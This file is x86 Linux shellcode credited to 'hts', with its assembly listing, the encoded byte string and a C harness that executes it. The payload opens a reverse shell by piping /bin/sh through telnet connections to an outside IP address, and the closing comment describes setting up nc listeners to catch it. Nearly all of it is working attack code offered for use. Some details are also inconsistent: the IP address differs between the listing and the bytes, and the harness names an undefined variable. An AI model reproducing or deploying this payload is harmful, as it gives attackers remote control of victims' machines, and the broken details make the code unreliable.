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- /*
- Reverse Telnet Shellcode by hts
- */
- /*
- jmp 0x31
- popl %esi
- movl %esi,0x4f(%esi)
- leal 0x8(%esi),%ebx
- movl %ebx,0x53(%esi)
- leal 0xb(%esi),%ebx
- movl %ebx,0x57(%esi)
- xorl %eax,%eax
- movb %eax,0x7(%esi)
- movb %eax,0xa(%esi)
- movb %eax,0x4e(%esi)
- movl %eax,0x5b(%esi)
- movb $0xb,%al
- movl %esi,%ebx
- leal 0x4f(%esi),%ecx
- leal 0x5b(%esi),%edx
- int $0x80
- xorl %ebx,%ebx
- movl %ebx,%eax
- inc %eax
- int $0x80
- call -0x36
- .string \"/bin/sh -c /bin/telnet 200.182.207.235 5|/bin/sh|/bin/telnet 200.182.207.235 6\"
- */
-
- char shellcode[] =
- "\xeb\x31\x5e\x89\x76\x4f\x8d\x5e\x08\x89\x5e\x53"
- "\x8d\x5e\x0b\x89\x5e\x57\x31\xc0\x88\x46\x07\x88"
- "\x46\x0a\x88\x46\x4e\x89\x46\x5b\xb0\x0b\x89\xf3"
- "\x8d\x4e\x4f\x8d\x56\x5b\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c /bin/"
- "telnet 200.182.207.246 5|/bin/sh|/bin/telnet 200"
- ".182.207.246 6";
-
- #define NAME "Reverse Telnet Shellcode - by hts"
-
- void main(){
- void (*s)() = (void *)hellcode;
- printf("Shellcode length: %d\nExecuting..\n\n", strlen(hellcode));
- s();
- }
-
- /* I don't know if exists any reverse telnet shellcode..
- * you should modify your ip addr to use it...
- * to use it, nc -l -p 5 , on another terminal nc -l -p 6
- * then run the shellcode with your ip addr or just 127.000.000.001
- */